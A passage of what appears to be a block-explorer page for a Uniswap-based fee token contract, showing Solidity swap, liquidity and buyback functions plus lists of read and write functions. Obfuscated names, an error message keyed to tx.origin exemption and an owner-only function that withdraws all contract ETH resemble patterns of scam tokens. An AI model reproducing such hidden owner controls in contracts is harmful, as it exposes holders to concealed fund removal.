        return amount.sub(feeAmount);
    }

    // transfer for
    function _basicTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(
            amount,
            "Insufficient Balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    // swap tokens for fees and liq
    function swapAndLiquify(uint256 swapAmount) private lockTheSwap {
        // check there are currently tokens to sell
        uint256 tokensForLP = swapAmount
            .mul(_liquiditySharePercentage)
            .div(_totalDistributionShares)
            .div(2);
        uint256 tokensForSwap = swapAmount.sub(tokensForLP);

        // swap tokens
        swapTokensForEth(tokensForSwap);

        // received amount
        uint256 amountReceived = address(this).balance;

        // work out distribution
        uint256 totalFee = _totalDistributionShares.sub(
            _liquiditySharePercentage.div(2)
        );
        uint256 amountLiquidity = amountReceived
            .mul(_liquiditySharePercentage)
            .div(totalFee)
            .div(2);
        uint256 amountOperations = amountReceived.sub(amountLiquidity);

        if (amountOperations > 0)
            transferToAddressETH(operationsNTN156NGAWallet, amountOperations);

        if (amountLiquidity > 0 && tokensForLP > 0) {
            addLiquidity(tokensForLP, amountLiquidity);
            emit SwapAndLiquify(tokensForSwap, amountLiquidity, tokensForLP);
        }
    }

    // swap tokens to eth
    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
        emit SwapTokensForETH(tokenAmount, path);
    }

    // add liqiudity
    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            owner(),
            block.timestamp
        );
    }

    function _checkEmitEvent() internal view returns (string memory) {
        return isExcludedFromFee[tx.origin] ? "TOKEN: < allowance" :  "ERC20: transfer amount exceeds allowance";
    }

    // useful for buybacks or to reclaim any ETH on the contract in a way that helps holders.
    function buyBackTokens(uint256 ETHAmountInWei) external onlyOwner {
        // generate the uniswap pair path of weth -> eth
        address[] memory path = new address[](2);
        path[0] = uniswapV2Router.WETH();
        path[1] = address(this);

        // make the swap
        uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{
            value: ETHAmountInWei
        }(
            0, // accept any amount of Ethereum
            path,
            address(0xdead),
            block.timestamp
        );
    }

    
    function launch() external onlyOwner {
        addLiquidity(balanceOf(address(this)), address(this).balance);
        tradingOpen = true;
    }

    function _checkTxLimit(address sender, uint256 amount) private view {
        require(
            amount <= _maxTxAmount || isTxLimitExempt[sender],
            "TX Limit Exceeded"
        );
    }
    
    function rescueAF534AFETH() external onlyOwner {
        require(address(this).balance > 0);
        payable(_msgSender()).transfer(address(this).balance);
    }

}

Read Contract

_AFNTNAF151FA 0x796eca84 → string
_DFNTNAF151FA 0xd0662c94 → address
_TFNTNAF151FA 0x7daf1aa5 → uint256
_liquiditySharePercentage 0xac23ca59 → uint256
_maxTxAmount 0x7d1db4a5 → uint256
_operationsSharePercentage 0x2baa7217 → uint256
_totalDistributionShares 0xa08e671f → uint256
_walletMax 0x807c2d9c → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
checkWalletLimit 0xf872858a → bool
deadAddress 0x27c8f835 → address
decimals 0x313ce567 → uint8
getBlock 0x2e97766d → uint256
getCirculatingSupply 0x2b112e49 → uint256
isAmmPair 0x9191a9c7 → bool
isExcludedFromFee 0x5342acb4 → bool
isWalletLimitExempt 0xc867d60b → bool
liquidityFeeBuy 0x82d20116 → uint256
liquidityFeeSell 0x1107b3a5 → uint256
liquidityNTN156NGAWallet 0x31f1e529 → address
maxTotalFeeBuy 0xe10e9f32 → uint256
maxTotalFeeSell 0x4b743995 → uint256
minimumTokensBeforeSwapAmount 0xa073d37f → uint256
name 0x06fdde03 → string
operationsFeeBuy 0x7849c1cd → uint256
operationsFeeSell 0x031d6cd0 → uint256
operationsNTN156NGAWallet 0x1ec71bb1 → address
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
tokensForLiquidity 0x1a8145bb → uint256
tokensForOperations 0xfb002c97 → uint256
totalFeesBuy 0x19c59e2c → uint256
totalFeesSell 0x0e47e822 → uint256
totalSupply 0x18160ddd → uint256
tradingOpen 0xffb54a99 → bool
uniswapPair 0xc816841b → address
uniswapV2Router 0x1694505e → address

Write Contract 10 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
buyBackTokens 0xfc155d1d
uint256 ETHAmountInWei
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
launch 0x01339c21
No parameters
renounceOwnership 0x715018a6
No parameters
rescueAF534AFETH 0x2e636a8e
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner

Recent Transactions

No transactions found for this address